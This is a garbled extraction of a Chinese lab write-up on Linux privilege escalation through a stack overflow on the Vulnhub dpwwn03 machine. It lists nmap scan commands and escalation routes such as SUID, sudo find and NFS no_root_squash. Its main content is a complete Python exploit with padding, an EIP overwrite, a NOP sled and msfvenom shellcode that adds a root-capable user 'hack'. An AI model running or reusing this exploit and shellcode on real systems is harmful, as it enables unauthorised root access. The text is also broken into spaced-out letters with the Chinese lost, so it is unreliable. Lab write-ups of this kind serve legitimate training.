[16376] 2021-01-29_Linux通过栈溢出进行提权实战

文档创建者:s7ckTeam
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最后更新:2025-01-18
2021-01-29_Linux通过栈溢出进行提权实战 L i n u x   w i n d c c t v   F r e e B u f   2 0 2 1 - 0 1 - 2 9 v u l n h u b d p w w n d p w w n 0 3 1 2 C r o n r o o t c r o n 使 r o o t 3 s u i d S U I D I D L i n u x L i n u x   p i n g r o o t p i n g S U I D r o o t p i n g 便 r o o t p i n g 4 s u d o S U D O S U D O f i n d 便 f i n d r o o t 5 使 r o o t r o o t 6 N F S N F S 使 R P C R o o t   S q u a s h i n g N F S r o o t r o o t 访 r o o t   n f s n o b o d y     n o _ r o o t _ s q u a s h   r o o t 访 d p w w n 0 3 N A T i p 使 a r p - s c a n   - l n m a p   - s P   1 9 2 . 1 6 8 . 1 6 7 . 0 / 2 4 n m a p   - s S   - s V   - P n   - T 4   - p -   1 9 2 . 1 6 8 . 1 6 7 . 1 8 9 n m a p   - A   - O   - s V   - p   2 2 , 1 6 1   s c r i p t = v u l n   1 9 2 . 1 6 8 . 1 6 7 . 1 8 9
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h t t p b a s h s s h s f t p 便 M o b a X t e r m s u i d s m a s h t h e s t a c k r o o t s m a s h t h e s t a c k r o o t s m a s h t h e s t a c k 1 R E L R O G O T G l o b a l   O f f s e t T a b l e R E L R O   P a r t i a l   R E L R O G O T R E L R O P a r t i a l   R E L R O F U L L R E L R O F U L L   R E L R O g o t 2 S t a c k
s h e l l c o d e c o o k i e c o o k i e c o o k i e s h e l l c o d e L i n u x c o o k i e c a n a r y C a n a r y   f o u n d l e a k c a n a r y o v e r w r i t e   c a n a r y 3 N X N X N o - e X e c u t e N X D E P s h e l l c o d e C P U g c c N X N X g c c - z   e x e c s t a c k g c c   - z   e x e c s t a c k   - o   t e s t   t e s t . c W i n d o w s D E P V i s u a l   S t u d i o D E P N X   e n a b l e d c a l l   e s p j m p   e s p 使 r o p 4 P I E A S L R P I E   e n a b l e d P I E N o   P I E   ( 0 x 4 0 0 0 0 0 ) 便
r e a d 1 0 2 4 r e s u l t 7 2 8 s h e l l c o d e 便 s h e l l c o d e e d b g d b m s f v e n o m s h e l l c o d e s h e l l c o d e r o o t h a c k e x p # ! / u s r / b i n / p y t h o n i m p o r t   s y s ,   s o c k e t E I P   =   " x d 1 x f 2 x f f x b f " j u n k   =   " A " * 7 3 2 N O P   =   " x 9 0 "   *   1 6 #   m s f v e n o m   - p   l i n u x / x 8 6 / a d d u s e r   U S E R = h a c k   P A S S = h a c k 1 2 3   - e   x 8 6 / a l p h a _ m i x e d   - f   c p a y l o a d   =   ( " x 8 9 x e 0 x d a x c a x d 9 x 7 0 x f 4 x 5 9 x 4 9 x 4 9 x 4 9 x 4 9 x 4 9 x 4 9 x 4 9 " " x 4 9 x 4 9 x 4 9 x 4 9 x 4 3 x 4 3 x 4 3 x 4 3 x 4 3 x 4 3 x 3 7 x 5 1 x 5 a x 6 a x 4 1 " " x 5 8 x 5 0 x 3 0 x 4 1 x 3 0 x 4 1 x 6 b x 4 1 x 4 1 x 5 1 x 3 2 x 4 1 x 4 2 x 3 2 x 4 2 " " x 4 2 x 3 0 x 4 2 x 4 2 x 4 1 x 4 2 x 5 8 x 5 0 x 3 8 x 4 1 x 4 2 x 7 5 x 4 a x 4 9 x 3 5 " " x 6 1 x 5 8 x 4 9 x 4 c x 4 9 x 4 8 x 4 b x 5 0 x 6 a x 5 1 x 5 6 x 5 1 x 4 8 x 6 8 x 4 d " " x 4 b x 3 0 x 4 2 x 4 a x 5 3 x 3 5 x 5 0 x 5 8 x 4 5 x 6 1 x 6 f x 3 9 x 7 2 x 7 1 x 7 5 " " x 3 8 x 6 2 x 5 3 x 3 2 x 5 3 x 3 2 x 5 7 x 7 0 x 6 4 x 6 2 x 4 8 x 6 6 x 4 f x 3 4 x 6 f " " x 4 4 x 3 0 x 7 3 x 5 1 x 4 5 x 3 8 x 3 4 x 6 f x 3 0 x 6 5 x 5 1 x 6 4 x 7 0 x 6 3 x 4 b " " x 3 9 x 7 8 x 6 3 x 5 2 x 6 1 x 4 d x 6 5 x 4 5 x 5 4 x 5 8 x 4 d x 4 b x 3 0 x 6 f x 6 3 " " x 6 a x 4 8 x 7 7 x 5 2 x 5 7 x 7 0 x 7 7 x 7 0 x 5 3 x 3 0 x 6 1 x 7 8 x 5 1 x 7 1 x 7 0 " " x 6 3 x 5 2 x 4 b x 7 7 x 4 a x 5 2 x 6 1 x 3 0 x 7 a x 7 5 x 3 2 x 6 2 x 6 7 x 3 1 x 6 2 " " x 5 4 x 6 f x 5 7 x 3 1 x 7 5 x 3 5 x 3 3 x 7 1 x 4 3 x 6 2 x 3 2 x 7 1 x 7 4 x 3 0 x 7 1 " " x 5 1 x 7 6 x 5 a x 4 6 x 5 0 x 5 7 x 4 a x 5 6 x 5 0 x 4 6 x 5 a x 5 6 x 5 a x 6 4 x 6 f " " x 4 6 x 5 a x 3 4 x 6 f x 6 3 x 5 2 x 5 0 x 6 9 x 7 2 x 4 e x 3 4 x 6 f x 4 4 x 3 3 x 5 2 " " x 4 8 x 7 5 x 5 a x 6 3 x 6 9 x 4 c x 4 b x 7 2 x 7 1 x 4 b x 4 c x 3 0 x 6 a x 4 3 x 3 4 " " x 5 6 x 3 8 x 5 a x 6 d x 6 b x 3 0 x 4 3 x 5 a x 6 3 x 3 1 x 5 0 x 5 8 x 7 8 x 4 d x 4 d " " x 5 0 x 4 1 x 4 1 " )
t m p p a y l o a d t m p s u   h a c k m s f v e n o m p a y l o a d s n m p s h e l l c o d e P I E s h e l l c o d e ) b u f f e r   =   j u n k   +   E I P   +   N O P   +   p a y l o a d s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) s . c o n n e c t ( ( " l o c a l h o s t " , 3 2 1 0 ) )     # s . c o n n e c t ( ( " 1 9 2 . 1 6 8 . 1 6 7 . 1 3 8 " , 3 2 1 0 ) )     s . s e n d ( b u f f e r ) s . c l o s e ( )

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